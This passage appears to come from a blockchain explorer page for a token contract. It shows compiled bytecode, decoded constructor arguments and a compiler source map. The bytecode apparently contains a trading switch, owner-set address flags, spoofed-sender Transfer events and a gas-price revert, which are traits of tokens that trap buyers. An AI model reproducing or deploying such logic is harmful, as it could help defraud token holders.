ffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610db3575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610daa9190611df1565b60405180910390fd5b610dbc81610fe1565b50565b610dc7610e46565b73ffffffffffffffffffffffffffffffffffffffff16610de56109a3565b73ffffffffffffffffffffffffffffffffffffffff1614610e4457610e08610e46565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610e3b9190611df1565b60405180910390fd5b565b5f33905090565b610e5a83838360016110a4565b505050565b5f610e6a8484610c56565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610eeb5781811015610edc578281836040517ffb8f41b2000000000000000000000000000000000000000000000000000000008152600401610ed3939291906123d2565b60405180910390fd5b610eea84848484035f6110a4565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f61575f6040517f96c6fd1e000000000000000000000000000000000000000000000000000000008152600401610f589190611df1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fd1575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610fc89190611df1565b60405180910390fd5b610fdc838383611273565b505050565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611114575f6040517fe602df0500000000000000000000000000000000000000000000000000000000815260040161110b9190611df1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611184575f6040517f94280d6200000000000000000000000000000000000000000000000000000000815260040161117b9190611df1565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550801561126d578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516112649190611b78565b60405180910390a35b50505050565b600e5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156112d2576112cd83838361155a565b611555565b600c5f9054906101000a900460ff16611320576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131790612451565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036113855761138083838361155a565b611555565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561142b5750600a5481600d5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611429919061246f565b115b156114495761143983611933565b61144483838361155a565b611555565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156114f05750600a5481600d5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114ed919061246f565b11155b156115495780600d5f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611541919061246f565b925050819055505b61155483838361155a565b5b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115aa578060025f82825461159e919061246f565b92505081905550611678565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611633578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161162a939291906123d2565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116bf578060025f8282540392505081905550611709565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117e85760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117db9190611b78565b60405180910390a361192e565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036118c7578173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118ba9190611b78565b60405180910390a361192d565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119249190611b78565b60405180910390a35b5b505050565b5f61193d826108ad565b111561197357600c5f9054906101000a900460ff1661196657611961600f54611976565b611972565b611971601054611976565b5b5b50565b803a1115611982575f80fd5b50565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6119bf82611996565b9050919050565b6119cf816119b5565b81146119d9575f80fd5b50565b5f813590506119ea816119c6565b92915050565b5f60208284031215611a0557611a0461198e565b5b5f611a12848285016119dc565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611a52578082015181840152602081019050611a37565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611a7782611a1b565b611a818185611a25565b9350611a91818560208601611a35565b611a9a81611a5d565b840191505092915050565b5f6020820190508181035f830152611abd8184611a6d565b905092915050565b5f819050919050565b611ad781611ac5565b8114611ae1575f80fd5b50565b5f81359050611af281611ace565b92915050565b5f8060408385031215611b0e57611b0d61198e565b5b5f611b1b858286016119dc565b9250506020611b2c85828601611ae4565b9150509250929050565b5f8115159050919050565b611b4a81611b36565b82525050565b5f602082019050611b635f830184611b41565b92915050565b611b7281611ac5565b82525050565b5f602082019050611b8b5f830184611b69565b92915050565b5f805f60608486031215611ba857611ba761198e565b5b5f611bb5868287016119dc565b9350506020611bc6868287016119dc565b9250506040611bd786828701611ae4565b9150509250925092565b5f60ff82169050919050565b611bf681611be1565b82525050565b5f602082019050611c0f5f830184611bed565b92915050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611c5382611a5d565b810181811067ffffffffffffffff82111715611c7257611c71611c1d565b5b80604052505050565b5f611c84611985565b9050611c908282611c4a565b919050565b5f67ffffffffffffffff821115611caf57611cae611c1d565b5b611cb882611a5d565b9050602081019050919050565b828183375f83830152505050565b5f611ce5611ce084611c95565b611c7b565b905082815260208101848484011115611d0157611d00611c19565b5b611d0c848285611cc5565b509392505050565b5f82601f830112611d2857611d27611c15565b5b8135611d38848260208601611cd3565b91505092915050565b5f8060408385031215611d5757611d5661198e565b5b5f83013567ffffffffffffffff811115611d7457611d73611992565b5b611d8085828601611d14565b925050602083013567ffffffffffffffff811115611da157611da0611992565b5b611dad85828601611d14565b9150509250929050565b5f60208284031215611dcc57611dcb61198e565b5b5f611dd984828501611ae4565b91505092915050565b611deb816119b5565b82525050565b5f602082019050611e045f830184611de2565b92915050565b5f67ffffffffffffffff821115611e2457611e23611c1d565b5b602082029050602081019050919050565b5f80fd5b5f611e4b611e4684611e0a565b611c7b565b90508083825260208201905060208402830185811115611e6e57611e6d611e35565b5b835b81811015611e975780611e8388826119dc565b845260208401935050602081019050611e70565b5050509392505050565b5f82601f830112611eb557611eb4611c15565b5b8135611ec5848260208601611e39565b91505092915050565b5f60208284031215611ee357611ee261198e565b5b5f82013567ffffffffffffffff811115611f0057611eff611992565b5b611f0c84828501611ea1565b91505092915050565b5f8060408385031215611f2b57611f2a61198e565b5b5f83013567ffffffffffffffff811115611f4857611f47611992565b5b611f5485828601611ea1565b9250506020611f6585828601611ae4565b9150509250929050565b5f8060408385031215611f8557611f8461198e565b5b5f611f92858286016119dc565b9250506020611fa3858286016119dc565b9150509250929050565b5f81519050611fbb81611ace565b92915050565b5f60208284031215611fd657611fd561198e565b5b5f611fe384828501611fad565b91505092915050565b5f604082019050611fff5f830185611de2565b61200c6020830184611b69565b9392505050565b61201c81611b36565b8114612026575f80fd5b50565b5f8151905061203781612013565b92915050565b5f602082840312156120525761205161198e565b5b5f61205f84828501612029565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806120ac57607f821691505b6020821081036120bf576120be612068565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026121217fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826120e6565b61212b86836120e6565b95508019841693508086168417925050509392505050565b5f819050919050565b5f61216661216161215c84611ac5565b612143565b611ac5565b9050919050565b5f819050919050565b61217f8361214c565b61219361218b8261216d565b8484546120f2565b825550505050565b5f90565b6121a761219b565b6121b2818484612176565b505050565b5b818110156121d5576121ca5f8261219f565b6001810190506121b8565b5050565b601f82111561221a576121eb816120c5565b6121f4846120d7565b81016020851015612203578190505b61221761220f856120d7565b8301826121b7565b50505b505050565b5f82821c905092915050565b5f61223a5f198460080261221f565b1980831691505092915050565b5f612252838361222b565b9150826002028217905092915050565b61226b82611a1b565b67ffffffffffffffff81111561228457612283611c1d565b5b61228e8254612095565b6122998282856121d9565b5f60209050601f8311600181146122ca575f84156122b8578287015190505b6122c28582612247565b865550612329565b601f1984166122d8866120c5565b5f5b828110156122ff578489015182556001820191506020850194506020810190506122da565b8683101561231c5784890151612318601f89168261222b565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61239582611ac5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036123c7576123c661235e565b5b600182019050919050565b5f6060820190506123e55f830186611de2565b6123f26020830185611b69565b6123ff6040830184611b69565b949350505050565b7f547261646520686173206e6f74206265656e206f70656e6564207965740000005f82015250565b5f61243b601d83611a25565b915061244682612407565b602082019050919050565b5f6020820190508181035f8301526124688161242f565b9050919050565b5f61247982611ac5565b915061248483611ac5565b925082820190508082111561249c5761249b61235e565b5b9291505056fea2646970667358221220dc5880cc8a1c213893902c4715955e51c977daf5fcc6d71f2f5ef0a4d7bd30ba64736f6c63430008140033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000000000000000000000033b2e3c9fd0803ce8000000000000000000000000000000193d8e3b873be5c01a2c859a8f1b7e821d785ac50000000000000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : _totalSupply (uint256): 1000000000000000000000000000
Arg [1] : deployer (address): 0x193d8e3B873Be5c01A2C859A8F1b7E821D785ac5
Arg [2] : _tokenAllowFeeAmount (uint256): 0
-----Encoded View---------------
3 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000033b2e3c9fd0803ce8000000
Arg [1] : 000000000000000000000000193d8e3b873be5c01a2c859a8f1b7e821d785ac5
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
25716:3755:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28357:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;27801:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18680:182;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25882:27;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17541:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19412:239;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27485:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27286:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27387:86;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;27570:159;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;25914:23;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;25843:34;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28999:77;;;:::i;:::-;;25761:31;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17697:114;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9967:99;;;:::i;:::-;;25797:33;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28116:111;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9316:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28008:96;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;26023:41;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29088:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;29269:199;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;26406:88;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;25942:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18004:174;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18239:138;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28239:106;;;:::i;:::-;;25973:45;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10217:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;28357:193;9208:13;:11;:13::i;:::-;28426:20:::1;28456:5;28449:23;;;28481:4;28449:38;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;28426:61;;28503:5;28496:22;;;28519:10;28531:12;28496:48;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;28417:133;28357:193:::0;:::o;27801:92::-;27847:13;27878:9;27871:16;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;27801:92;:::o;18680:182::-;18753:4;18768:13;18784:12;:10;:12::i;:::-;18768:28;;18805:31;18814:5;18821:7;18830:5;18805:8;:31::i;:::-;18852:4;18845:11;;;18680:182;;;;:::o;25882:27::-;;;;:::o;17541:95::-;17593:7;17618:12;;17611:19;;17541:95;:::o;19412:239::-;19499:4;19514:15;19532:12;:10;:12::i;:::-;19514:30;;19553:37;19569:4;19575:7;19584:5;19553:15;:37::i;:::-;19599:26;19609:4;19615:2;19619:5;19599:9;:26::i;:::-;19641:4;19634:11;;;19412:239;;;;;:::o;27485:73::-;27526:7;27551:1;27544:8;;27485:73;:::o;27286:89::-;27344:5;27367:2;27360:9;;27286:89;:::o;27387:86::-;27434:4;27456:11;;;;;;;;;;;27449:18;;27387:86;:::o;27570:159::-;9208:13;:11;:13::i;:::-;27684:7:::1;27672:9;:19;;;;;;:::i;:::-;;27714:9;27700:11;:23;;;;;;:::i;:::-;;27570:159:::0;;:::o;25914:23::-;;;;;;;;;;;;;:::o;25843:34::-;;;;:::o;28999:77::-;9208:13;:11;:13::i;:::-;29059:11:::1;;;;;;;;;;;29058:12;29044:11;;:26;;;;;;;;;;;;;;;;;;28999:77::o:0;25761:31::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;17697:114::-;17762:7;17787:9;:18;17797:7;17787:18;;;;;;;;;;;;;;;;17780:25;;17697:114;;;:::o;9967:99::-;9208:13;:11;:13::i;:::-;10030:30:::1;10057:1;10030:18;:30::i;:::-;9967:99::o:0;25797:33::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;28116:111::-;9208:13;:11;:13::i;:::-;28215:6:::1;28193:19;:28;;;;28116:111:::0;:::o;9316:83::-;9362:7;9387:6;;;;;;;;;;;9380:13;;9316:83;:::o;28008:96::-;28056:13;28087:11;28080:18;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28008:96;:::o;26023:41::-;;;;;;;;;;;;;;;;;;;;;;:::o;29088:169::-;9208:13;:11;:13::i;:::-;29167:9:::1;29162:90;29186:4;:11;29182:1;:15;29162:90;;;29238:4;29217:9;:18;29227:4;29232:1;29227:7;;;;;;;;:::i;:::-;;;;;;;;29217:18;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;29199:3;;;;;:::i;:::-;;;;29162:90;;;;29088:169:::0;:::o;29269:199::-;9208:13;:11;:13::i;:::-;29364:9:::1;29359:104;29383:4;:11;29379:1;:15;29359:104;;;29437:4;29442:1;29437:7;;;;;;;;:::i;:::-;;;;;;;;29419:34;;29428:7;:5;:7::i;:::-;29419:34;;;29446:6;29419:34;;;;;;:::i;:::-;;;;;;;;29396:3;;;;;:::i;:::-;;;;29359:104;;;;29269:199:::0;;:::o;26406:88::-;9208:13;:11;:13::i;:::-;26484:4:::1;26470:11;;:18;;;;;;;;;;;;;;;;;;26406:88:::0;:::o;25942:26::-;;;;;;;;;;;;;:::o;18004:174::-;18073:4;18088:13;18104:12;:10;:12::i;:::-;18088:28;;18125:27;18135:5;18142:2;18146:5;18125:9;:27::i;:::-;18168:4;18161:11;;;18004:174;;;;:::o;18239:138::-;18319:7;18344:11;:18;18356:5;18344:18;;;;;;;;;;;;;;;:27;18363:7;18344:27;;;;;;;;;;;;;;;;18337:34;;18239:138;;;;:::o;28239:106::-;9208:13;:11;:13::i;:::-;28296:10:::1;28288:28;;:51;28317:21;28288:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;28239:106::o:0;25973:45::-;;;;;;;;;;;;;;;;;:::o;10217:210::-;9208:13;:11;:13::i;:::-;10320:1:::1;10300:22;;:8;:22;;::::0;10296:89:::1;;10372:1;10344:31;;;;;;;;;;;:::i;:::-;;;;;;;;10296:89;10393:28;10412:8;10393:18;:28::i;:::-;10217:210:::0;:::o;9475:158::-;9544:12;:10;:12::i;:::-;9533:23;;:7;:5;:7::i;:::-;:23;;;9529:99;;9605:12;:10;:12::i;:::-;9578:40;;;;;;;;;;;:::i;:::-;;;;;;;;9529:99;9475:158::o;7329:94::-;7382:7;7407:10;7400:17;;7329:94;:::o;23513:126::-;23596:37;23605:5;23612:7;23621:5;23628:4;23596:8;:37::i;:::-;23513:126;;;:::o;25161:467::-;25259:24;25286:25;25296:5;25303:7;25286:9;:25::i;:::-;25259:52;;25344:17;25324:16;:37;25320:303;;25399:5;25380:16;:24;25376:128;;;25457:7;25466:16;25484:5;25430:60;;;;;;;;;;;;;:::i;:::-;;;;;;;;25376:128;25543:57;25552:5;25559:7;25587:5;25568:16;:24;25594:5;25543:8;:57::i;:::-;25320:303;25250:378;25161:467;;;:::o;20020:292::-;20118:1;20102:18;;:4;:18;;;20098:84;;20169:1;20142:30;;;;;;;;;;;:::i;:::-;;;;;;;;20098:84;20208:1;20194:16;;:2;:16;;;20190:84;;20261:1;20232:32;;;;;;;;;;;:::i;:::-;;;;;;;;20190:84;20282:24;20290:4;20296:2;20300:5;20282:7;:24::i;:::-;20020:292;;;:::o;10583:183::-;10655:16;10674:6;;;;;;;;;;;10655:25;;10698:8;10689:6;;:17;;;;;;;;;;;;;;;;;;10751:8;10720:40;;10741:8;10720:40;;;;;;;;;;;;10646:120;10583:183;:::o;24460:421::-;24588:1;24571:19;;:5;:19;;;24567:87;;24641:1;24612:32;;;;;;;;;;;:::i;:::-;;;;;;;;24567:87;24685:1;24666:21;;:7;:21;;;24662:88;;24737:1;24709:31;;;;;;;;;;;:::i;:::-;;;;;;;;24662:88;24788:5;24758:11;:18;24770:5;24758:18;;;;;;;;;;;;;;;:27;24777:7;24758:27;;;;;;;;;;;;;;;:35;;;;24806:9;24802:74;;;24851:7;24835:31;;24844:5;24835:31;;;24860:5;24835:31;;;;;;:::i;:::-;;;;;;;;24802:74;24460:421;;;;:::o;26506:768::-;26622:9;:20;26632:9;26622:20;;;;;;;;;;;;;;;;;;;;;;;;;26618:99;;;26657:31;26671:4;26677:2;26681:6;26657:13;:31::i;:::-;26701:7;;26618:99;26733:11;;;;;;;;;;;26725:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;26814:1;26791:25;;:11;;;;;;;;;;;:25;;;26787:104;;26831:31;26845:4;26851:2;26855:6;26831:13;:31::i;:::-;26875:7;;26787:104;26908:11;;;;;;;;;;;26902:17;;:2;:17;;;:73;;;;;26956:19;;26947:6;26923:10;:21;26934:9;26923:21;;;;;;;;;;;;;;;;:30;;;;:::i;:::-;:52;26902:73;26899:181;;;26990:17;27002:4;26990:11;:17::i;:::-;27020:31;27034:4;27040:2;27044:6;27020:13;:31::i;:::-;27064:7;;26899:181;27105:11;;;;;;;;;;;27099:17;;:2;:17;;;:74;;;;;27154:19;;27144:6;27120:10;:21;27131:9;27120:21;;;;;;;;;;;;;;;;:30;;;;:::i;:::-;:53;;27099:74;27096:133;;;27213:6;27188:10;:21;27199:9;27188:21;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;27096:133;27237:31;27251:4;27257:2;27261:6;27237:13;:31::i;:::-;26506:768;;;;:::o;20626:1299::-;20730:1;20714:18;;:4;:18;;;20710:528;;20864:5;20848:12;;:21;;;;;;;:::i;:::-;;;;;;;;20710:528;;;20898:19;20920:9;:15;20930:4;20920:15;;;;;;;;;;;;;;;;20898:37;;20966:5;20952:11;:19;20948:113;;;21022:4;21028:11;21041:5;20997:50;;;;;;;;;;;;;:::i;:::-;;;;;;;;20948:113;21210:5;21196:11;:19;21178:9;:15;21188:4;21178:15;;;;;;;;;;;;;;;:37;;;;20885:353;20710:528;21272:1;21258:16;;:2;:16;;;21254:415;;21434:5;21418:12;;:21;;;;;;;;;;;21254:415;;;21641:5;21624:9;:13;21634:2;21624:13;;;;;;;;;;;;;;;;:22;;;;;;;;;;;21254:415;21695:9;;;;;;;;;;;21689:15;;:2;:15;;;21685:227;;21739:9;;;;;;;;;;;21724:32;;21733:4;21724:32;;;21750:5;21724:32;;;;;;:::i;:::-;;;;;;;;21685:227;;;21784:9;;;;;;;;;;;21776:17;;:4;:17;;;21772:140;;21833:2;21813:30;;21822:9;;;;;;;;;;;21813:30;;;21837:5;21813:30;;;;;;:::i;:::-;;;;;;;;21772:140;;;21892:2;21877:25;;21886:4;21877:25;;;21896:5;21877:25;;;;;;:::i;:::-;;;;;;;;21772:140;21685:227;20626:1299;;;:::o;28635:223::-;28710:1;28694:13;28704:2;28694:9;:13::i;:::-;:17;28691:162;;;28731:11;;;;;;;;;;;28726:118;;28761:16;28772:4;;28761:10;:16::i;:::-;28726:118;;;28814:16;28825:4;;28814:10;:16::i;:::-;28726:118;28691:162;28635:223;:::o;28870:117::-;28945:4;28931:11;:18;28927:55;;;28964:8;;;28927:55;28870:117;:::o;7:75:1:-;40:6;73:2;67:9;57:19;;7:75;:::o;88:117::-;197:1;194;187:12;211:117;320:1;317;310:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:99::-;1228:6;1262:5;1256:12;1246:22;;1176:99;;;:::o;1281:169::-;1365:11;1399:6;1394:3;1387:19;1439:4;1434:3;1430:14;1415:29;;1281:169;;;;:::o;1456:246::-;1537:1;1547:113;1561:6;1558:1;1555:13;1547:113;;;1646:1;1641:3;1637:11;1631:18;1627:1;1622:3;1618:11;1611:39;1583:2;1580:1;1576:10;1571:15;;1547:113;;;1694:1;1685:6;1680:3;1676:16;1669:27;1518:184;1456:246;;;:::o;1708:102::-;1749:6;1800:2;1796:7;1791:2;1784:5;1780:14;1776:28;1766:38;;1708:102;;;:::o;1816:377::-;1904:3;1932:39;1965:5;1932:39;:::i;:::-;1987:71;2051:6;2046:3;1987:71;:::i;:::-;1980:78;;2067:65;2125:6;2120:3;2113:4;2106:5;2102:16;2067:65;:::i;:::-;2157:29;2179:6;2157:29;:::i;:::-;2152:3;2148:39;2141:46;;1908:285;1816:377;;;;:::o;2199:313::-;2312:4;2350:2;2339:9;2335:18;2327:26;;2399:9;2393:4;2389:20;2385:1;2374:9;2370:17;2363:47;2427:78;2500:4;2491:6;2427:78;:::i;:::-;2419:86;;2199:313;;;;:::o;2518:77::-;2555:7;2584:5;2573:16;;2518:77;;;:::o;2601:122::-;2674:24;2692:5;2674:24;:::i;:::-;2667:5;2664:35;2654:63;;2713:1;2710;2703:12;2654:63;2601:122;:::o;2729:139::-;2775:5;2813:6;2800:20;2791:29;;2829:33;2856:5;2829:33;:::i;:::-;2729:139;;;;:::o;2874:474::-;2942:6;2950;2999:2;2987:9;2978:7;2974:23;2970:32;2967:119;;;3005:79;;:::i;:::-;2967:119;3125:1;3150:53;3195:7;3186:6;3175:9;3171:22;3150:53;:::i;:::-;3140:63;;3096:117;3252:2;3278:53;3323:7;3314:6;3303:9;3299:22;3278:53;:::i;:::-;3268:63;;3223:118;2874:474;;;;;:::o;3354:90::-;3388:7;3431:5;3424:13;3417:21;3406:32;;3354:90;;;:::o;3450:109::-;3531:21;3546:5;3531:21;:::i;:::-;3526:3;3519:34;3450:109;;:::o;3565:210::-;3652:4;3690:2;3679:9;3675:18;3667:26;;3703:65;3765:1;3754:9;3750:17;3741:6;3703:65;:::i;:::-;3565:210;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:86::-;4793:7;4833:4;4826:5;4822:16;4811:27;;4758:86;;;:::o;4850:112::-;4933:22;4949:5;4933:22;:::i;:::-;4928:3;4921:35;4850:112;;:::o;4968:214::-;5057:4;5095:2;5084:9;5080:18;5072:26;;5108:67;5172:1;5161:9;5157:17;5148:6;5108:67;:::i;:::-;4968:214;;;;:::o;5188:117::-;5297:1;5294;5287:12;5311:117;5420:1;5417;5410:12;5434:180;5482:77;5479:1;5472:88;5579:4;5576:1;5569:15;5603:4;5600:1;5593:15;5620:281;5703:27;5725:4;5703:27;:::i;:::-;5695:6;5691:40;5833:6;5821:10;5818:22;5797:18;5785:10;5782:34;5779:62;5776:88;;;5844:18;;:::i;:::-;5776:88;5884:10;5880:2;5873:22;5663:238;5620:281;;:::o;5907:129::-;5941:6;5968:20;;:::i;:::-;5958:30;;5997:33;6025:4;6017:6;5997:33;:::i;:::-;5907:129;;;:::o;6042:308::-;6104:4;6194:18;6186:6;6183:30;6180:56;;;6216:18;;:::i;:::-;6180: